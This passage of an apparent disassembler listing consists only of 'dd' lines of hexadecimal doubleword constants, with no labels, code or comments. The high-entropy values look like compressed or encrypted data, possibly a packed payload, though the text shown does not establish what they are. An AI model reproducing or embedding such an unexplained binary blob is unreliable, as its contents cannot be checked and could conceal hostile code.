		dd 1829585Dh, 567B7F1h,	41304E67h, 0E868508Fh, 0ECA72E3Eh
		dd 0FF6913D6h, 0FCE09762h, 30B80C27h, 0B4130527h, 9047D18h
		dd 0D6A94E3Eh, 414E605h, 6E12AB3Dh, 0A2D3B0Ah, 61B4843Ah
		dd 60EA32F7h, 3508FF10h, 50D11AC5h, 596F9C04h, 7DE30416h
		dd 0FB4A066h, 0DE822C5Fh, 0EE55505Ah, 0A553B4DDh, 0E909E6EFh
		dd 5490AB2Fh, 0E2C16254h, 9B4FF0C0h, 46ED1DC1h,	0A306544h
		dd 0B1C74009h, 64A8BD4Bh, 64F18008h, 0EC00E09h,	0AB194991h
		dd 0CF9654DBh, 0EBFF40C5h, 8B3B4DDEh, 29AFCEh, 10A1F37Eh
		dd 0F940E375h, 134D3CCAh, 0F4A17FBh, 462E3001h,	787D971Bh
		dd 5CB5066Bh, 0B9510098h, 32D46F16h, 18FAD8B5h,	0B80D080Ch
		dd 0A1C06168h, 533C84E2h, 99BB030h, 711164CCh, 42F583E2h
		dd 0BC3B6303h, 5B81BE12h, 0A8A52A9Dh, 524832F8h, 0E82225B0h
		dd 14571B5h, 0D92551A6h, 0FF5D203Fh, 601A7BC1h,	14490F55h
		dd 0FF7876DEh, 0CA0C1525h, 0A2BF927h, 5AA09046h, 182619A0h
		dd 68150BE1h, 5F0D3472h, 39658ACh, 0B88086A0h, 9670A44Ch
		dd 0A5913DAEh, 0DB3ADF0Ch, 5C923CE5h, 4E92CBFBh, 70200E98h
		dd 7549DF8h, 6A1668C1h
		dd 0FC3C238Bh, 0F8627DD4h, 0A2EC7F8Eh, 0A7706C5h, 0DAE9DC01h
		dd 0C81A33Ch, 0E63926C1h, 25C47B6Dh, 3144C1AFh,	82E8C9C5h
		dd 95D0F708h, 35E78452h, 0BA5988C0h, 99650568h,	0EFEA01F2h
		dd 50313628h, 5B7BF4D5h, 0D3BEE989h, 751D470Bh,	24A1F9Ch
		dd 0DD4642C2h, 0C4452381h, 131A3C4Ah, 0E9FCEE66h, 2B084B89h
		dd 249F0194h, 3B093BFAh, 0EA866841h, 842E6B1Eh,	5480AFDFh
		dd 602966D7h, 465F8A78h, 48763B3Dh, 1E13C5F0h, 0EE899Ch
		dd 712EE3D8h, 0D794637Fh, 0BDC62CBAh, 0D556EDA8h, 87680CC5h
		dd 4D37BD2Bh, 0AF93DDCCh, 0F8D409D0h, 0AC394ADBh, 0EB871379h
		dd 9A4CFEA2h, 4726F507h, 0B366F41h, 0E0036139h,	40B085F6h
		dd 0F05C8910h, 16EE3A80h, 770DC166h, 8003AC6h, 0AA2FE5E9h
		dd 682D40BDh, 0CF4A4B97h, 50BB4061h, 5E7562B5h,	0CC5C3090h
		dd 34602979h, 5D1D0F0Ch, 7ED2BF41h, 324BDA09h, 0B72FEBFh
		dd 0D66AD9A5h, 9633D07Dh, 0BC4152D7h, 0D611ADA3h, 576913AFh
		dd 2ABBB127h, 68CDC984h, 3B0E0B01h, 1ED8000h, 0E0C4E8B8h
		dd 0D04E6D78h, 37F033E9h, 0C685B09h, 0D3FF460Dh, 21269C18h
		dd 25E9E83Bh, 80B84A08h, 872BA18Ah, 0EB81004Dh,	5B314E7Fh
		dd 0C590CB29h, 0D7E90880h, 866D2869h, 95FBD8DDh, 26BEEB59h
		dd 0C0A75742h, 0E1736E6h, 1C2D1E3Ch, 0E9600360h, 23921452h
		dd 0B536803h, 0E7580F1Dh, 63A32D6h, 2566C4BDh, 0D80B9A03h
		dd 0F54A9561h, 706C68Ch, 65C98102h, 77186074h, 0BB503E8Ch
		dd 0E02C67F6h, 0D800377Fh, 29135E39h, 0BC9A2DDh, 1B807D08h
		dd 546D69C8h, 3649F8BDh, 0CA429D67h, 0C81C12A3h, 322C2EAh
		dd 1CF1A1C5h, 60E589B1h, 5A3E68A7h, 0E890669Dh,	4EDA97D6h
		dd 0E95EBAA0h, 87BEED26h, 6F0F2A40h, 0B31395Bh,	0AE4F3392h
		dd 7EE95D8Ch, 8801B6F6h, 5E03060Fh, 1719BE68h, 0A6A2F023h
		dd 733705D4h, 0EF4BFCh,	9A42FA22h, 0DB5BF726h, 228A3A9h
		dd 945200EEh, 0D929587Fh, 1F5551E9h, 583749Dh, 0E2626C0Bh
		dd 82EB5074h, 1BF90207h, 0FD3305A4h, 0E8D02D8Bh, 2E98CB16h
		dd 85BE768h, 7025B46Fh,	2C829538h, 10550133h, 3254CC7Eh
		dd 135636BEh, 78A03850h, 0CD20362h, 5556F930h, 0E1FD4B89h
		dd 0F3FF54C4h, 187B4C34h, 0C6876263h, 0D41A3ACAh, 0DB2E2B6Bh
		dd 1092088h, 71AAE8C3h,	617782D3h, 99AE3189h, 0A9B3978Ch
		dd 0C5EA0F9Dh, 7617CB07h, 0A108A02Ch, 0C46F5359h, 458FEE1Ah
		dd 451E564Ah, 0D11658F6h, 2B59CF2Eh, 1941A390h,	0EC245FC0h
		dd 0C1D240C5h, 9A94F16h, 8DC50ABh, 730F914Ah, 1A111143h
		dd 61200F25h, 7183BD6Fh, 9207F129h, 27546AC8h, 2C6C16Fh
		dd 7E203F9Dh, 970825BAh, 25014856h, 47160C99h, 7E4240AFh
		dd 864C7F51h, 4061338h,	5ACDEE6Eh, 34A79EDDh, 395E8355h
		dd 0E4456940h, 0D9B0925Fh, 256841A5h, 0AA84C35Eh, 0E9C24BF2h
		dd 54E5767Dh, 336896B0h, 7544173Ch, 1217F85Eh, 0B843AE9h
		dd 2D7EC1CBh, 33BBDF5Dh, 2D6D18D9h, 31D2903Eh, 3F1B9F51h
		dd 3A1C8C2Bh, 0F8E5373Ah, 6BE9DD1Eh, 0B74E1E73h, 5C0C6826h
		dd 0E82BACB5h, 1CADBC76h, 0A3138D59h, 15BF9B80h, 7AD2727h
		dd 79270B56h, 40B560BDh, 4B0B4834h, 9078C5E9h, 3D0DD789h
		dd 0F2BE3D84h, 0DCB4B3DFh, 0ED03C827h, 8BCE13EAh, 5FDCEDE1h
		dd 3198D2C0h, 0F8616066h, 64FBE56h, 60344D26h, 0B0D15E0Ch
		dd 32D65FC9h, 0F15D2C3Ch, 72525A66h, 94D620h, 3244B0BAh
		dd 4A79BB3Dh, 31183416h, 50577514h, 100B2CD3h, 56B624E9h
		dd 725962BFh, 65EF49F6h, 1ED17443h, 9AE30EE8h, 6F25579Ah
		dd 0D2CF582Dh, 826228EFh, 9C9F988h, 0DA095BE0h,	5750E19Ch
		dd 80E74EE9h, 698E687Bh, 2B60169Eh, 9E406305h, 0CB57528Bh
		dd 0F150EFA7h, 0EC4C780Fh, 1C550DEFh, 6A0C10FCh, 0E9C82202h
		dd 95BAF0DEh, 2E43C553h, 0B90A1C5Bh, 4B4A8279h,	2D45CE31h
		dd 0CF73058Fh, 0E92DE062h, 0F4791925h, 0BE4E265Ah, 0B57270Ah
		dd 27ECC53Ah, 2D00ADE6h, 385F0D1Dh, 0A205C801h,	0DB1C4107h
		dd 1131167h, 0F1DC0BDFh, 7A5E7841h, 0EFD7AAA3h,	0DCBF4421h
		dd 2D0CF33Fh, 7F0A0974h, 1A98241Eh, 8591A37Fh, 9D1C94AFh
		dd 2B3CE0CCh, 82103980h, 65E9FEC4h, 11E2A71Dh, 497C3D18h
		dd 3912EE44h, 464FB5Dh,	142ECA09h, 0B52CFA5Eh, 5D379664h
		dd 0D1A72295h, 6723B472h, 0B5DEA738h, 841477E2h, 0B5AE29CDh
		dd 810A04A1h, 6006EE60h, 451687E2h, 0A70773AFh,	7EC43ED6h
		dd 11311180h, 0E962121Bh, 0E973C4E3h, 73EDE5A8h, 0B1966816h
		dd 0D1E37E4Eh, 0B9F65D8Ch, 8C237BEh, 12099326h,	0B020024Eh
		dd 0DE1FD6Dh, 0C17F03E0h, 0FAAE963h, 3A8B3E01h,	0A0F7059h
		dd 0E3801F7Fh, 7B402AA8h, 56550CC0h, 24E944A4h,	45C2664Fh
		dd 4F65E86Eh, 6E6039FBh, 724519D2h, 0BCEB1D66h,	0CC4DDEAAh
		dd 0EF17FBC8h, 1318C90Fh, 708E6436h, 2EF1BE00h,	810239C6h
		dd 502BF4E6h, 0E58DC07Eh, 0F0B74C1Dh, 22C03B2Fh, 18B702B9h
		dd 919C7C3Fh, 5C688E4Bh, 0BD4D3525h, 936B7933h,	5AB007A1h
		dd 37C22DD8h, 4CC3F977h, 0A624E949h, 0E7427DDBh, 0F3EFE6F7h
		dd 2F386330h, 0E1C0BF2Fh, 120942A4h, 87DFF737h,	0EB1D22Ah
		dd 66FE4707h, 1DEF4844h, 52481600h, 7E9691BAh, 0DAB1464Fh
		dd 0F9E97B60h, 0E14FDE7Ch, 8EE33A1Ch, 53C288C1h, 68D4D050h
		dd 54013D2Fh, 15016AF4h, 882C0970h, 53260819h, 160B3E24h
		dd 979687A6h, 9AC2140Bh, 70F1905Ah, 17DE95E8h, 0EA7104EBh
		dd 820527BBh, 0B05D7F9Ch, 9761C349h, 2B88DADBh,	803C9620h
		dd 9F1F35CFh, 6E9140Bh,	943BB04Fh, 5F5E0477h, 0A871B168h
		dd 4664C12Ch, 0F7611D44h, 0BCC09514h, 0F48ED8BDh, 245F54BCh
		dd 9A34C081h, 5D59E36Ch, 7A2F5F0h, 1529655h, 8332A7B9h
		dd 0C4E9311Bh, 68B6FE14h, 97D4C62h, 25161278h, 29574471h
		dd 0E73B0EB2h, 1E913E04h, 30069747h, 0F14E8ABAh, 95C778BFh
		dd 0C4450EE9h, 0B59902B1h, 0DA1D0B69h, 0E0E91506h, 37C4AF3Bh
		dd 0DD9DBE26h, 48A00978h, 0F3A07656h, 6880806Bh, 9A6A4FF2h
		dd 0C65525DFh, 0C154B547h, 5FF34A0Bh, 0B5CA209Bh, 5D39E46Ah
		dd 529A70C0h, 80ECB601h, 0CEFE3CEEh, 0E9EC6C9h,	46E680E0h
		dd 35B35366h, 2DE303Bh,	5AF7285Bh, 13ABDF88h, 6BE525F0h
		dd 407EA1E1h, 0EE88CD2Ah, 284F54E9h, 27E1D889h,	4B306F28h
		dd 60A9C5BEh, 0C301A716h, 0D88B81BDh, 303AC1F1h, 58C1E5A0h
		dd 0B639841h, 9DF2E8A3h, 520B61FEh, 0AEA0688Bh,	38602853h
		dd 62EA0B97h, 1D0E7911h, 8E0FEED6h, 402325A2h, 9C0B9E1Dh
		dd 7FD70059h, 13295F68h, 43F5E9D0h, 2E2C1D2h, 62134605h
		dd 0F32119B9h, 0EB0452AEh, 0D8F05091h, 186A77Ah, 5A519FBFh
		dd 0AEE46864h, 0E9B58A5h, 0A6FC8C29h, 49AE288Bh, 0E90AF76Dh
		dd 8BFF62FBh, 0BB4C24ECh, 0C028EB7Bh, 0FF1D8034h, 0F78F1D0Ch
		dd 80317D1h, 0A93A786Fh, 125E19Fh, 6E78C1FAh, 80A4B600h
		dd 0DAACF639h, 3316D8BCh, 8665BE7Bh, 0F7ACC1ABh, 7B707E8h
		dd 8A0AD1D7h, 0AC52316h, 2F2052CDh, 0F019536Ch,	0A15D0764h
		dd 843C696Eh, 8DFBE4E1h, 5579E558h, 320F88B4h, 52F40h
		dd 2CBC7B03h, 68D8295Bh, 0FBBD8272h, 3FE90481h,	5F4A310h
		dd 9E45B04h, 0B3CCF2BDh, 65132DE7h, 0C6F8E7BDh,	76328922h
		dd 0AF0E2BB8h, 5A6660E2h, 0A86B1968h, 61EEE930h, 2E119F97h
		dd 0F8C28C75h, 40EF3F35h
		dd 0F6C050D7h, 7A6E2891h, 240198B8h, 106341BDh,	445C270Ch
		dd 56D70F03h, 1DE5332Fh, 9E6BE8A6h, 8051C718h, 2CB573E4h
		dd 2F0D01F4h, 518B7FD6h, 42A37C94h, 0ADF246BDh,	145BCAFCh
		dd 738C44D0h, 29242D4Bh, 0A5085308h, 0B72FAF5Dh, 9940A3E1h
		dd 3C0B7AC5h, 0D5AE1A1Ch, 9708203Bh, 5A4DABF0h,	0D7E90978h
		dd 47855E34h, 0C0529E56h, 16F9BB20h, 7730842Eh,	0D75E0B32h
		dd 0F3891482h, 1C7A0FCh, 69E751CBh, 0E9E22451h,	83425535h
		dd 0BDEDA3FDh, 0D8FF12C1h, 0B2F2035Bh, 0AFAD2C4Ah, 0F748C907h
		dd 0C102804Bh, 2774423Ch, 4DE6F021h, 0BD554801h, 4B0733EBh
		dd 222C893Ch, 0A27F6B27h, 7EE1665h, 6A3614Bh, 0F2D94C01h
		dd 453CDC41h, 0A704C1D0h, 0BD1C2173h, 3C08410Fh, 0DD08D65Fh
		dd 285A1486h, 0FD629B41h, 7559C106h, 0F4005051h, 1AD548Dh
		dd 0B4CBE9DAh, 0C6BA1D69h, 30713D26h, 676A6100h, 41CB8142h
		dd 6D2E3257h, 2F619A0Ch, 7DF3F056h, 4B5B3F0Ch, 402C4831h
		dd 0E34A888Bh, 60DC3BB0h, 50BEE029h, 2B014D40h,	0DC7CE81h
		dd 0D07F5C52h, 0BAEBC601h, 319CFE12h, 1B183E04h, 4E50D611h
		dd 6800F7F1h, 0F8B11761h, 5340E0ADh, 8D0E82D6h,	46D9039Bh
		dd 53F298Eh, 58AE37D0h,	33C7D090h, 1D6C25CFh, 0F7013A7Dh
		dd 0E2594696h, 2D0502F7h, 432FBF6Bh, 16D69Eh, 8006E6C0h
		dd 576809CEh, 0E92F4DB2h, 58B282B6h, 9E4DC366h,	65FD055Ah
		dd 8BC0B70Fh, 106049E0h, 0C44CCC78h, 48E32210h,	0B472555h
		dd 0EA1C57A6h, 53A2681Ch, 4BB2F527h, 25FB6FFDh,	208D165Dh
		dd 28E9D5ACh, 0ABB2A043h, 62CA7230h, 0E18608D1h, 2D885B41h
		dd 34F91765h, 690BBF90h, 4D213ED1h, 0D0DAB713h,	0DB5A979Bh
		dd 0E953C5Ch, 42950B17h, 4A391FE9h, 2C00FFC1h, 71D36727h
		dd 5F811AB5h, 530298F3h, 0EC256856h, 0DEB9058Fh, 0B47AA245h
		dd 6813FD74h, 47AE43DBh, 0EF49AEA5h, 45EB9410h,	89D010Ah
		dd 1F2EA15Eh, 1136E902h, 4348F01h, 62A38BBCh, 7D503507h
		dd 9809DE4Ch, 1601A549h, 7A10966h, 0E375049Dh, 6E7B98AFh
		dd 8C33485Ch, 0A2119905h, 7F4AA812h, 32E8EE03h,	0CA319B6Dh
		dd 307A7F5Eh, 0EF18933h, 29BB84ECh, 0B1D53C5Ah,	924D5818h
		dd 0E517912Bh, 1EAB04D8h, 1E3C0958h, 5F28A7C7h,	5A38EB0Bh
		dd 27098254h, 589CC601h, 6C014A5Fh, 0E905EBC1h,	25F738D5h
		dd 60E2425Eh, 0F64F2E1Bh, 0C57E972Ch, 0A17AE509h, 153014F5h
		dd 627B1AA7h, 91EA5B12h, 19E28983h, 68CF882Fh, 156B4A31h
		dd 5003BD82h, 0DB2C77FFh, 13744648h, 0A0BA2A9Bh, 0F4050407h
		dd 0B816A65Ch, 380741E7h, 0D2EFA5D6h, 96FC1F1Bh, 43D92917h
		dd 620B7F2Ch, 1BCA4A59h, 3F480809h, 0F641F4E9h,	2126FF00h
		dd 0FC365FA0h, 0FBDA0468h, 0A0AE1E28h, 2F7DC17Eh, 0E966A009h
		dd 275CF4DBh, 0ACFB3EFDh, 0D18A80F6h, 4233991Bh, 5905645Bh
		dd 57FDD109h, 31F51E8Bh, 0D6D6E904h, 0B0D19628h, 58E450AAh
		dd 0E9E0C0B5h, 45C04F7Bh, 0B2F32415h, 84C85EEh,	292D0BD5h
		dd 0B420F82Fh, 202EC08h, 0E53A7C2Dh, 1CAF94C0h,	6A28F482h
		dd 0F33022Ah, 0E4D56307h, 75BC98A9h, 13BBBBC1h,	0A0C6579Fh
		dd 8D5AD729h, 0F1E93789h, 29F52F25h, 85285FCFh,	0D6AFA270h
		dd 601276FFh, 0B601B375h, 0E9DE28CEh, 803291F5h, 6F39E405h
		dd 4E70B26Dh, 0FC47DF6h, 15050146h, 0D1E3797Eh,	1494D012h
		dd 0A42F8240h, 7AC91EFEh, 0A5495F84h, 0EDC82ED9h, 1153BD21h
		dd 0CF078927h, 945725E4h, 166813E7h, 0AF73604Ch, 79F7C41h
		dd 68A5FEA2h, 0AE2BAC0h, 31F50521h, 64C1A2E9h, 1B9340F1h
		dd 0C001C380h, 9E08E339h, 57B07EBh, 4644E9CFh, 60519DEAh
		dd 2201C130h, 0E95F6F0Fh, 0B982DA98h, 0B452A9EAh, 46B760D5h
		dd 7ABD1372h, 0EF16AE5Fh, 47155E01h, 0B12ADEB2h, 40FA049Ah
		dd 14C981A4h, 1F4C1C42h, 9E31602h, 5809DFA7h, 0C65FE068h
		dd 0BFC63257h, 0DA7F5C10h, 0B5576A44h, 1CA10BEAh, 54714130h
		dd 72505E24h, 4515D5E0h, 0D0F70165h, 0CD070A0Dh, 1A886A0Bh
		dd 4A21EC5Ch, 8433E250h, 4CF361CAh, 2582DF1Ch, 685999B0h
		dd 3301A331h, 5200B61Dh, 0B32C38B2h, 42251867h,	0D9F95509h
		dd 5832E962h, 4F5F5C87h, 0A8B6BEF4h, 0F896CD4Dh, 30B640h
		dd 76543E05h, 2582F181h, 0C3789B28h, 2D30D239h,	308A5E38h
		dd 5520BF36h, 0D23ED827h, 0A6C70527h, 8278063Ch, 985D7EB6h
		dd 0B110C197h, 2BB78F41h, 0C825AB45h, 62401398h, 68570356h
		dd 6F8E59F6h, 3E7DA04h,	2A87857Ch, 0BA1696E4h, 2F90170Fh
		dd 8058FA8Eh, 0CB1418FBh, 6AF6F66Ah, 43D75B0Eh,	9112386Eh
		dd 0CEEA58C1h, 0E95505E3h, 0A445D9B4h, 0A26550E2h, 2A1073BCh
		dd 515C2F2Bh, 0D5196416h, 9090EBD5h, 7D0C1210h,	6E20382Eh
		dd 2C64BB4Eh, 5CEAC8A4h, 6D86CAAFh, 9C970C99h, 0E616B5F8h
		dd 0B57C4712h, 6AF6B001h, 806ADD46h, 782DDC41h,	0F9423924h
		dd 0D3225C02h, 0BFC94034h, 2C862C30h, 3378A55Eh, 0A826C690h
		dd 5F5279D2h, 9A27314Ch, 0E2355EE1h, 0CCDD5BDFh, 1621FE27h
		dd 11E0256h, 0FB410CB3h, 0E80B3079h, 89A83EDFh,	830BA794h
		dd 0ADF465C6h, 207AF75h, 6064F330h, 0BDE6082h, 5AE9F955h
		dd 0F097C58h, 0FB7DF084h, 0D25999DBh, 4B03288Bh, 0E9E12AADh
		dd 0EEC3885h, 6799E280h, 95B488EAh, 4BED2E0h, 66B6468Ch
		dd 3660EA4Eh, 0F82C75F6h, 0FAE91268h, 9139AEE4h, 9D571748h
		dd 8680F794h, 0F195D75Fh, 919FBC32h, 8C7E5F32h,	0F69BD9F0h
		dd 0D1C6CCE3h, 0F588511Fh, 0E3E44F92h, 97409E1h, 0DE021BC0h
		dd 0A8885B2Bh, 23831A80h, 9F12D660h, 555F977Bh,	0F3AF81C4h
		dd 7159C9B3h, 0C19C4AD0h, 33DD65E9h, 594D7820h,	92A24F7Bh
		dd 16682FC4h, 0FF424BE5h, 0EBDD481Eh, 1C151233h, 0E5C00454h
		dd 5D9ECC62h, 14F96818h, 8A551247h, 0A60AA0DFh,	7632566Ch
		dd 74789783h, 989DA52Fh, 0BC317B36h, 0E8B662BEh, 98FA585h
		dd 0E2FC5AA1h, 0C6D60A1Dh, 965A7C2h, 2DA5E4D5h,	0C066D2FDh
		dd 0F968E289h, 2AE66B49h, 0E900CD53h, 6853505Dh, 5F1E3C5Ah
		dd 0D8DC5B7Ch, 16277EFDh, 2656D985h, 0E9C81725h, 11859DBh
		dd 6F85107Ch, 0B33E5401h, 5A0C4020h, 5758A19Eh,	27840FBFh
		dd 0EF837E10h, 2392592Eh, 0E9092FDEh, 55897FB7h, 492EC575h
		dd 98416F85h, 81414B64h, 72D11550h, 25B898CAh, 27393137h
		dd 496D4187h, 13BB00FCh, 1ABA2557h, 887189F5h, 2C9784D5h
		dd 0DE24E90Ah, 16BB5494h, 57DC5DDAh, 5B9CF8D0h,	1003303Ch
		dd 15262865h, 0F0031656h, 0B2EAD79Bh, 0EB62405Eh, 646F1290h
		dd 0EF180019h, 68480A17h, 7125CF2Fh, 2ADA849Ah,	834181B2h
		dd 773669EEh, 0D3DD266Ah, 46A00D13h, 4D4007B9h,	0B24132EEh
		dd 0FA69AB1Ch, 0FAE2DFD5h, 6A491649h, 0F65E4F16h, 0A6AC591Eh
		dd 0B5A980Ch, 0F16E4073h, 983CF23Fh, 2D26C821h,	1ADA6403h
		dd 8904FBC3h, 1042334h,	6281F6FEh, 7EF40B2h, 4889634Fh
		dd 0AF560B87h, 9DF41458h, 0F889D6C7h, 0DBBC7711h, 681635AEh
		dd 4363384Bh, 1806A03Bh, 8EE5CC1h, 4A25C602h, 0E05F122Bh
		dd 94DFC93Bh, 11FF4BE5h, 0F33E4B09h, 0B55E288Fh, 575DB960h
		dd 74C1BF66h, 0EEBA1E12h, 427E2525h, 0E897E941h, 8B8DF82Fh
		dd 811DAD3h, 28D76E08h,	8D0BB101h, 366B4201h, 0DE030CB7h
		dd 292FF3CAh, 0E9810CD0h, 5F20D1C3h, 0FE0846B8h, 3E4A6A75h
		dd 4C64C586h, 0E7740C3Fh
		dd 2808E22Dh, 0C3408F3h, 0C15F1407h, 31E053DFh,	0E0453839h
		dd 7692212Fh, 47845261h, 0EA4D94EBh, 0D3ECD1A5h, 4014B21h
		dd 0F0269D8h, 0FD738980h, 0C3CB7907h, 0B873767h, 0BA02A14h
		dd 0F896354Dh, 4FF9988h, 0EBD8685Ah, 9A81BC34h,	372E7BF1h
		dd 99769279h, 58925953h, 754D0071h, 1048E62Bh, 0A740D8C8h
		dd 5E919F05h, 0D65C2CC1h, 1771EA91h, 0A2F5E0A7h, 0CC469Ah
		dd 237605BEh, 89F86B5Bh, 960D4995h, 0A818BA18h,	98AF80Eh
		dd 0E9130F78h, 4728ADF2h, 5AD70028h, 68CBEF80h,	3EE13994h
		dd 0EBF230B8h, 0A2DC73D7h, 0E0B00097h, 3407E8C0h, 0C74B30CAh
		dd 62A5F999h, 0B026B5D8h, 4816622Dh, 684F70ABh,	1D2822A3h
		dd 4656B437h, 7E0A4D56h, 0DAE0CB2Ah, 25B7995h, 95B0AAB3h
		dd 3E1EF460h, 0E91F9A0Eh, 0F62ABAFCh, 23790878h, 0F6BF62Fh
		dd 0BD46E0D1h, 73A44D1Ch, 25BF6B5Dh, 7832DE5Bh,	0CB4B7EE9h
		dd 97F871EBh, 62346B7Bh, 5F47F016h, 0C326D831h,	58029E08h
		dd 5881CA4Ch, 0B3B127Fh, 0BD48BD57h, 353F7E51h,	0ECF73445h
		dd 348B0804h, 0E9C246F2h, 4D75F60Fh, 5B092F1Dh,	7D289A5Dh
		dd 112C4564h, 805284CBh, 0B618E1F7h, 2ECF8044h,	710D4A13h
		dd 0CD135E0h, 0AF3E9EFh, 0F0955F2Eh, 4E0FB0C3h,	0A0B93150h
		dd 72FCD238h, 580059BFh, 974E172Eh, 5089F922h, 0C37E9FA4h
		dd 0C3F019E4h, 895B9F29h, 0A6E2933Eh, 4CCE8C90h, 0E00A4FC6h
		dd 725229Ch, 407142AAh,	2460147Fh, 36C2086h, 4822459Dh
		dd 94B50C58h, 787B0E72h, 0A801CBD4h, 0E90908A6h, 26177432h
		dd 0B4EA5322h, 0DDFCF5A9h, 60070632h, 727E67F5h, 0FCEEC22h
		dd 3BFD1E1Bh, 4362F687h, 0C071772h, 21A72BDAh, 0EEE9F213h
		dd 9160E1E4h, 74032268h, 4820A998h, 0F4801478h,	822B1D2h
		dd 1227D37Fh, 51115EDDh, 126D22D6h, 32EEDD5Dh, 0BF70C24Bh
		dd 159FBF09h, 748E8271h, 0B7130B3Ch, 6AD503C8h,	828C017Dh
		dd 7335400Ch, 47943D48h, 1783A12Ah, 0FA57D830h,	41170A20h
		dd 0BE4D0B28h, 558B8D71h, 0B1A981E3h, 0BB708079h, 40564BDDh
		dd 2B460B2Dh, 0E07E3C77h, 5B7D0720h, 914FA606h,	20AC486Ah
		dd 84C0D019h, 1D12080Bh, 378B02B8h, 0C82995C3h,	3A58C141h
		dd 0B6544538h, 0B8574566h, 6849047Bh, 0D5FD4DAFh, 0AB440785h
		dd 8EA4C301h, 0B03AF50Bh, 0FA4077A7h, 9E66E888h, 0E30247FAh
		dd 79273DBEh, 812C72C5h, 2D03A8E0h, 0BC605D8h, 82131EEAh
		dd 13BE1B19h, 0A54FEF32h, 3E2BB835h, 0A8AC280Eh, 54C77DA8h
		dd 2758E392h, 1EDEDAF7h, 9566D740h, 0C0638077h,	0E88B8024h
		dd 0AA4EE810h, 0C9EB1334h, 0B92E3002h, 0DF61909Eh, 94F05957h
		dd 90279233h, 2804ECAAh, 9E76D51h, 35EC2938h, 5190DEF0h
		dd 2A4FD902h, 40FA898Eh, 9D7212D5h, 70CA58E8h, 22535118h
		dd 333194A6h, 4AB67740h, 8F8A1205h, 17E19A93h, 56FC3C3Eh
		dd 7F9CBE1Fh, 0F02903C5h, 9027A61Dh, 0F849CD29h, 68898B4h
		dd 7A1701E5h, 347D0C72h, 455F7E12h, 0B711CAAh, 285E5038h
		dd 8404E741h, 1EF8170h,	2CA77C1Dh, 643B96E9h, 2B4ECAE7h
		dd 0E4E660CCh, 0DBC597F1h, 0FEC826BFh, 19E55549h, 4238029Ch
		dd 0D130DB64h, 24D77321h, 0EB73CBEEh, 848B2E4h,	0EE0E7993h
		dd 7A12C8Ch, 664204F0h,	5B2555Ah, 873DAD69h, 0D0F6B206h
		dd 402843A2h, 5AA0E92Ah, 0CB2DECEBh, 803CFC5Ch,	17DA564Ah
		dd 0EFBAEEE9h, 237C2D00h, 0E8C13D07h, 8F050706h, 0D0160440h
		dd 0FBC262CDh, 5774E29Fh, 9DE99902h, 679F81F8h,	30BDA652h
		dd 42ED8081h, 0A26DE097h, 0C8F78249h, 80C7D4C6h, 37264BBDh
		dd 7025F45Dh, 39DC9F0Dh, 0C0262E58h, 611FCD6Bh,	8CC83A62h
		dd 5D6612BEh, 81BF0768h, 69908947h, 6EFF5DB1h, 542F265Fh
		dd 7B0B20ECh, 0E9060B5Ch, 75514DF9h, 0C275FEC9h, 101ADEEh
		dd 34645BD9h, 272B2F68h, 5DB61266h, 449F3804h, 25B9B7AAh
		dd 0F3B17755h, 650B7BFFh, 9A890543h, 0AB21E6A1h, 0B2D485F8h
		dd 50E724EEh, 1BAE10B6h, 0D157C588h, 447B2B84h,	1E73EB24h
		dd 38B123D5h, 31CB245Ah, 0F5040712h, 1ABC2991h,	0BFC28984h
		dd 4074C8F0h, 873168CDh, 0A2F9477Bh, 1359974h, 12D067EEh
		dd 7163E82Dh, 0BB02406Eh, 30040329h, 0CA1FE953h, 44906800h
		dd 81B55B7Ch, 0C327A36Bh, 4C7BE60h, 0EC409CD1h,	0FB65BA89h
		dd 3E90D817h, 31E9DD01h, 0BE90F3B5h, 759FF05Dh,	3108B907h
		dd 0F13406A5h, 174CEBEh, 27CF05F9h, 7AEFC1h, 610BFC70h
		dd 0E307815Dh, 34AD4A24h, 3FA1CB67h, 0E4CB55C1h, 568E0382h
		dd 0D7E19D54h, 82C0C4DDh, 845DA3D0h, 2DFC5D27h,	926E510h
		dd 0F87B685Ch, 0DA7BB518h, 95479CADh, 0B2F22B76h, 217560ABh
		dd 8492F106h, 56D94C02h, 15E35A82h, 0C62B4E21h,	1B0320A7h
		dd 457DEDAAh, 0B2C1A3AAh, 0B06C432h, 2584D0BDh,	6FBA6B43h
		dd 4F433E76h, 0D6E9EFC8h, 0D35F5205h, 0B0C41D0Eh, 92054048h
		dd 26E77A17h, 0D00F7A8h, 6A714308h, 0EB05042Dh,	75E9FFF7h
		dd 0F0494AABh, 2A4902D0h, 1D56990h, 6B0E683Fh, 9245307Eh
		dd 12017F74h, 52D5F75Dh, 1EECB850h, 603548B2h, 167EE90Bh
		dd 64803AF6h, 29D0721Bh, 0FAD5A2EBh, 0A007BD8Fh, 0E3A8A2C1h
		dd 8DC826CAh, 39960244h, 7DCA696Eh, 3E95FB94h, 38DEB562h
		dd 57C30B6Eh, 0C0F0B816h, 5305E100h, 0E380F0B3h, 2B01953Fh
		dd 0BFEEFCE9h, 3ACE8A2Ch, 8E0EC356h, 0CDEA1650h, 1B60E613h
		dd 0B2952715h, 0BAF604E8h, 2D5A10D0h, 867D16FAh, 4042A843h
		dd 3D4FE907h, 8459C583h, 0FD81FC81h, 92661810h,	417C737Dh
		dd 98390F25h, 0B469CD34h, 4C755270h, 1C0C40C7h,	27E93340h
		dd 7793ACD0h, 92C4D8C1h, 0E7E45C6Ch, 7B744106h,	0DD588CC2h
		dd 0FF8C2CD9h, 2ED75BBh, 0C751A389h, 0E740EA21h, 187D84F2h
		dd 0E8E9300Bh, 0C43A20D3h, 95E1889Bh, 0AD2EB1F8h, 0CCB84EC6h
		dd 0E4B35AEh, 0A84A61A6h, 494A04E1h, 0F7FE64D5h, 0E6C05F8Ah
		dd 1720BA52h, 0C0218443h, 3BCAC31Eh, 8ED52928h,	0A05A7340h
		dd 82A47BC3h, 0F69381DDh, 167E1DADh, 310BE856h,	15B542CAh
		dd 95EC16A2h, 1E58977Eh, 0ADC082D8h, 750B5A60h,	0D4C2832Ch
		dd 74A80244h, 82DDBDA0h, 20CC55Eh, 0F262C180h, 0B22202FDh
		dd 0A7945561h, 0C603FD27h, 607B27BBh, 9CEF93A2h, 0F0E40505h
		dd 0FCE04AD1h, 576C0402h, 1156DB97h, 0B05BF5CCh, 0B10B2DD4h
		dd 0B3A9C62h, 20E3072Fh, 8140EB5Eh, 9D9E6F11h, 0E8F05696h
		dd 0D080B2A2h, 0EE534F00h, 0EA4C762Ah, 0EA930192h, 3C66E254h
		dd 0CB082C7Fh, 0F15FAD3Bh, 41D78800h, 4803E420h, 29221A43h
